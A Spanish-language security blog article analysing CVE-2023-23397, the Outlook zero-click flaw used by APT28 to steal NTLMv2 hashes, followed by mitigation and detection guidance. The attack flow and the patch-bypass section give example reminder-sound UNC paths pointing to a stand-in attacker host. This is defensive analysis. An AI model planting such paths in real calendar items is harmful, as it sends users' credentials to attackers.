AvanzadovulnerabilidadesCVEoutlookntlmzero-clickAPT

CVE-2023-23397 Outlook Zero-Click: El Email que Roba Hashes

Análisis técnico de CVE-2023-23397, la vulnerabilidad zero-click en Microsoft Outlook que permitía robar hashes NTLMv2 mediante una invitación de calendario con UNC path. Explotada por APT28 (GRU ruso) contra gobiernos europeos, sectores militar, energía y transporte desde abril 2022.

MalwareIntel Research··12 min lectura·2 técnicas ATT&CK

El correo que no necesitas abrir

El 14 de marzo de 2023, Microsoft publicó un parche para una vulnerabilidad en Outlook que redefine el concepto de ataque por email. CVE-2023-23397 no requiere que la víctima abra un adjunto. No requiere que haga clic en un enlace. No requiere ni siquiera que lea el mensaje. Basta con que Outlook reciba una invitación de calendario con una propiedad MAPI manipulada para que el sistema operativo envíe las credenciales del usuario a un servidor controlado por el atacante.

La vulnerabilidad fue descubierta por CERT-UA (el CERT de Ucrania) durante la investigación de campañas de ciberespionaje contra su infraestructura. La atribución apunta a APT28 (también conocido como Fancy Bear, Sednit, o Forest Blizzard), la unidad de ciberoperaciones del GRU (Dirección General de Inteligencia del Estado Mayor de las Fuerzas Armadas rusas), que había estado explotando esta vulnerabilidad como zero-day desde al menos abril de 2022.

Con un CVSS de 9.8, complejidad de explotación baja, y alcance global contra cualquier versión de Outlook para Windows, CVE-2023-23397 es una de las vulnerabilidades más impactantes de 2023. Y su mecanismo subyacente (la filtración de hashes NTLM) ilumina un problema sistémico del ecosistema Windows que lleva décadas sin resolverse.

El mecanismo: recordatorios, sonidos y rutas UNC

Las propiedades MAPI de recordatorio

Microsoft Outlook utiliza MAPI (Messaging Application Programming Interface) para representar internamente emails, citas de calendario, tareas y otros objetos de correo. Cada objeto tiene un conjunto de propiedades MAPI que determinan su comportamiento.

Entre estas propiedades, existe PidLidReminderFileParameter, que permite especificar un archivo de sonido personalizado para el recordatorio de una cita o tarea. Si un usuario configura un recordatorio con un sonido custom, esta propiedad almacena la ruta al archivo de audio.

Normalmente, esta ruta apunta a un archivo local: C:\Users\usuario\Sounds\recordatorio.wav. Pero Outlook acepta cualquier ruta válida de Windows, incluyendo rutas UNC (Universal Naming Convention).

UNC paths y la autenticación SMB automática

Una ruta UNC tiene el formato \\servidor\recurso\archivo. Cuando Windows intenta acceder a un recurso via UNC, utiliza el protocolo SMB (Server Message Block) para establecer la conexión. Y como parte del proceso de negociación SMB, Windows envía automáticamente las credenciales NTLM del usuario actual.

Este comportamiento es "by design" en Windows. En una red corporativa local, es lo que permite que los usuarios accedan a carpetas compartidas sin tener que introducir credenciales cada vez. Pero cuando el servidor UNC es externo (controlado por un atacante en Internet), esas credenciales NTLM se envían fuera de la red corporativa.

El flujo del ataque

1. El atacante crea una invitación de calendario (meeting request)
   con PidLidReminderFileParameter = \\atacante.com\share\sonido.wav

2. El atacante envía la invitación al buzón de la víctima via SMTP

3. Outlook del cliente descarga y procesa la invitación

4. El recordatorio se dispara (puede ser inmediato si la hora ya pasó)

5. Outlook intenta acceder a \\atacante.com\share\sonido.wav

6. Windows inicia una conexión SMB al servidor del atacante (puerto 445)

7. Como parte de la negociación SMB, Windows envía el hash NTLMv2
   del usuario logueado

8. El atacante captura el hash NTLMv2

Lo devastador de este flujo es que los pasos 3 a 8 son automáticos. El usuario no interviene en ningún momento. El recordatorio se procesa en segundo plano, y la conexión SMB se inicia sin ninguna interacción ni notificación visible.

¿Por qué zero-click y no zero-day?

Es importante distinguir: CVE-2023-23397 fue tanto zero-click (no requiere interacción del usuario) como zero-day (fue explotado antes de que existiera un parche). Cuando CERT-UA lo reportó a Microsoft, APT28 llevaba al menos 10 meses explotándolo activamente.

NTLM: la vulnerabilidad que no muere

Para entender la gravedad de CVE-2023-23397, hay que entender por qué los hashes NTLM son un objetivo tan valioso.

El protocolo NTLM

NTLM (NT LAN Manager) es un protocolo de autenticación challenge-response desarrollado por Microsoft en los años 90. Su funcionamiento básico es:

1. Cliente envía solicitud de autenticación al servidor
2. Servidor responde con un challenge (número aleatorio)
3. Cliente calcula hash = HMAC-MD5(NTHash(contraseña), challenge + datos)
4. Cliente envía la respuesta (hash NTLMv2)
5. Servidor verifica la respuesta contra su propia copia del hash NT

Ataques de relay NTLM

El problema fundamental de NTLM es que la respuesta del paso 4 es válida para autenticarse ante cualquier servicio que acepte NTLM, no solo ante el servidor que generó el challenge. Esto permite el ataque de relay:

1. Víctima inicia autenticación NTLM hacia el servidor del atacante
2. Atacante abre simultáneamente una conexión al servicio objetivo
   (Exchange, servidor de archivos, AD)
3. El servicio objetivo envía un challenge al atacante
4. Atacante reenvía ese challenge a la víctima
5. La víctima calcula la respuesta usando su contraseña real
6. El atacante reenvía la respuesta al servicio objetivo
7. El servicio objetivo acepta la autenticación

El resultado es que el atacante se autentica ante el servicio objetivo como la víctima, sin conocer su contraseña. Si la víctima tiene privilegios de administrador de dominio, el atacante hereda esos privilegios.

Cracking offline de NTLMv2

La alternativa al relay es el cracking. Los hashes NTLMv2 capturados pueden procesarse con herramientas como Hashcat (que puede usar GPUs para acelerar el proceso) o John the Ripper. La viabilidad depende de la fortaleza de la contraseña:

Tipo de contraseñaTiempo estimado (GPU moderna)
8 caracteres, solo minúsculasMinutos
8 caracteres, mayúsculas + númerosHoras
12 caracteres, alfanumérico + símbolosSemanas a meses
16+ caracteres, complejidad altaComputacionalmente impracticable

Para organizaciones con políticas de contraseñas débiles (mínimo 8 caracteres, sin MFA), el cracking de NTLMv2 es un vector realista. Y una vez que el atacante tiene la contraseña en texto plano, puede acceder a cualquier servicio de la organización, no solo a los que aceptan NTLM.

APT28: espionaje europeo durante 10 meses

Atribución y contexto

APT28 (MITRE ID: G0007), también conocido como Fancy Bear, Sednit, Sofacy, STRONTIUM o Forest Blizzard, es la unidad de ciberoperaciones de la Unidad 26165 del GRU. Está activo desde al menos 2004 y es responsable de algunas de las operaciones de ciberespionaje más importantes de la última década, incluyendo el hack del DNC en 2016 y los ataques contra la WADA (Agencia Mundial Antidopaje).

Línea temporal de la campaña

  • Abril 2022: primeros ataques detectados retrospectivamente, coincidiendo con la intensificación del conflicto en Ucrania
  • Abril a diciembre 2022: APT28 explota CVE-2023-23397 activamente contra organizaciones europeas
  • Enero a marzo 2023: la campaña continúa mientras CERT-UA investiga
  • 14 marzo 2023: Microsoft publica el parche y el advisory

Objetivos y alcance

APT28 dirigió los ataques contra al menos 30 organizaciones en 14 países, con foco en:

  • Gobiernos: ministerios de defensa y asuntos exteriores de países de la OTAN
  • Militar: fuerzas armadas y contratistas de defensa
  • Energía: empresas del sector energético europeo (gas, electricidad)
  • Transporte: operadores de infraestructura de transporte

La selección de objetivos es coherente con las prioridades de inteligencia del GRU en el contexto del conflicto con Ucrania: recopilar información sobre las posiciones de defensa de la OTAN, las políticas energéticas europeas (especialmente tras las sanciones a Rusia), y la capacidad logística de transporte militar.

Técnica de explotación de APT28

APT28 utilizaba notas y tareas de Outlook (no solo invitaciones de calendario) para enviar los mensajes maliciosos. El uso de tareas y notas tenía una ventaja operacional: eran menos sospechosas que una invitación de calendario de un remitente desconocido.

Los hashes NTLMv2 capturados se utilizaban para:

  1. NTLM relay inmediato: acceder a servidores Exchange internos para leer buzones de correo de objetivos de alto valor
  2. Persistencia: usar las credenciales para establecer acceso VPN o RDP a la red interna
  3. Movimiento lateral: escalar privilegios dentro del dominio AD utilizando las credenciales obtenidas

Análisis técnico profundo

La propiedad PidLidReminderFileParameter en detalle

PidLidReminderFileParameter es una propiedad MAPI de tipo PT_UNICODE (cadena de texto Unicode) con el identificador 0x851F en el property set PSETID_Common. Cuando Outlook procesa un recordatorio, verifica si esta propiedad existe y tiene un valor no vacío. Si lo tiene, intenta abrir el archivo especificado como sonido del recordatorio.

El procesamiento ocurre en el contexto del proceso de Outlook (outlook.exe), que se ejecuta con los privilegios del usuario logueado. Cuando la ruta es UNC, la resolución del nombre pasa al componente de red de Windows (redirector SMB), que inicia la autenticación NTLM automáticamente.

¿Por qué Outlook no validaba la ruta?

El diseño original de la propiedad asumía que el contenido siempre sería local o de red interna. No existía validación que:

  • Verificara si la ruta era local vs remota
  • Bloqueara rutas UNC que apuntaran a servidores externos
  • Verificara si el archivo era realmente un formato de audio válido

Esta falta de validación refleja una asunción común en software Windows de los años 2000: que las rutas de red (UNC) son inherentemente confiables porque estás en una red corporativa.

El bypass del parche: CVE-2023-29324

El parche inicial de Microsoft (marzo 2023) intentó solucionar el problema verificando que la ruta no fuera UNC antes de intentar acceder al archivo. Sin embargo, en mayo de 2023 se descubrió un bypass (CVE-2023-29324): el atacante podía usar una URL con formato especial que pasaba la verificación anti-UNC pero que Windows resolvía igualmente via SMB.

Concretamente, una ruta como \\atacante.com@443\share\sonido.wav (con el puerto en la URL) podía evadir la detección de UNC en algunas versiones del parche. Microsoft publicó un segundo parche en mayo de 2023 para cerrar este bypass.

Mitigación: más allá del parche

Medidas inmediatas

  1. Aplicar el parche: KB5023375 (marzo 2023) + KB5026919 (mayo 2023, para el bypass)
  2. Ejecutar el script de detección de Microsoft: CVE-2023-23397.ps1 escanea buzones en busca de mensajes con PidLidReminderFileParameter que contenga rutas UNC
  3. Bloquear SMB saliente: bloquear el tráfico saliente al puerto TCP 445 en el firewall perimetral. Esta es la medida más efectiva, ya que impide que los hashes NTLM salgan de la red aunque la vulnerabilidad se explote

Medidas estructurales

  1. Desactivar NTLM donde sea posible: configurar GPO para restringir el uso de NTLM. La política "Network security: Restrict NTLM: Outgoing NTLM traffic to remote servers" puede configurarse para auditar o bloquear autenticación NTLM saliente
  2. Habilitar Extended Protection for Authentication (EPA): EPA añade un binding al canal TLS que dificulta los ataques de relay
  3. Segmentar la red: las estaciones de trabajo no deberían tener acceso SMB directo a Internet. Implementar reglas de firewall que restrinjan SMB a las redes internas necesarias
  4. MFA en todos los servicios: aunque MFA no previene la captura del hash NTLM, sí dificulta que un atacante use contraseñas crackeadas para acceder a servicios protegidos con MFA

Detección

Los equipos SOC pueden detectar intentos de explotación (tanto exitosos como fallidos) mediante:

  • Logs de firewall: conexiones SMB salientes (puerto 445) a IPs externas no conocidas
  • Logs de Exchange: mensajes con propiedades MAPI extendidas inusuales (PidLidReminderFileParameter con rutas UNC)
  • Logs de Windows: eventos de autenticación NTLM (Event ID 4624, logon type 3) hacia servidores externos
  • Monitorización de red: tráfico SMB hacia IPs externas a la organización

NTLM: cronología de una muerte anunciada

La explotación de CVE-2023-23397 no es un caso aislado. NTLM ha sido el vector subyacente de decenas de vulnerabilidades a lo largo de dos décadas:

AñoVulnerabilidadMecanismo NTLM
2001MS01-001NTLM relay básico
2008MS08-068SMB relay
2016MS16-075Hot Potato (NBNS + WPAD + NTLM relay)
2018PrivExchangeExchange → NTLM relay → DCSync
2019CVE-2019-1040Drop the MIC (bypass de protección NTLM)
2020ZerologonNetlogon → credential reset (relacionado)
2021PetitPotamEFS → NTLM relay → AD compromise
2023CVE-2023-23397Outlook → NTLM leak via UNC

Cada uno de estos ataques explota la misma debilidad fundamental: NTLM no vincula la autenticación al servicio destino, lo que permite relay. Y Windows envía credenciales NTLM automáticamente cuando accede a recursos de red, lo que facilita la captura.

Microsoft anunció en 2023 que deprecará NTLM completamente en futuras versiones de Windows, forzando la transición a Kerberos y protocolos modernos. Pero la realidad es que la base instalada de Windows con dependencias NTLM es tan grande que la transición llevará años, posiblemente una década.

Impacto y lecciones

Para organizaciones

CVE-2023-23397 demuestra que el perímetro de seguridad ya no existe en el sentido tradicional. Un correo electrónico, sin interacción del usuario, puede exfiltrar credenciales que comprometan toda la red. La defensa no puede depender de la concienciación del usuario (no hay clic que evitar), sino de controles técnicos: bloqueo de SMB saliente, restricción de NTLM, y monitorización de autenticación anómala.

Para la industria

La persistencia de NTLM como vector de ataque después de 25 años es un ejemplo de deuda técnica a escala de industria. La retrocompatibilidad, que es una fortaleza comercial de Windows, es simultáneamente su mayor debilidad de seguridad. Cada protocolo legacy que se mantiene "por si acaso" es una superficie de ataque que los grupos APT explotarán eventualmente.

Para la geopolítica

La explotación por APT28 durante el conflicto con Ucrania demuestra que las vulnerabilidades zero-day en software empresarial son armas estratégicas. Un solo CVE permitió al GRU acceder a las comunicaciones internas de gobiernos y organizaciones militares de la OTAN durante 10 meses, proporcionando inteligencia estratégica durante un conflicto activo.

La ventana de 10 meses entre el inicio de la explotación (abril 2022) y el parche (marzo 2023) es un recordatorio de que la detección de zero-days depende tanto de la capacidad técnica como de la voluntad de compartir información entre aliados. Fue CERT-UA, no una empresa de seguridad occidental, quien descubrió y reportó la vulnerabilidad.

Técnicas MITRE ATT&CK referenciadas

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.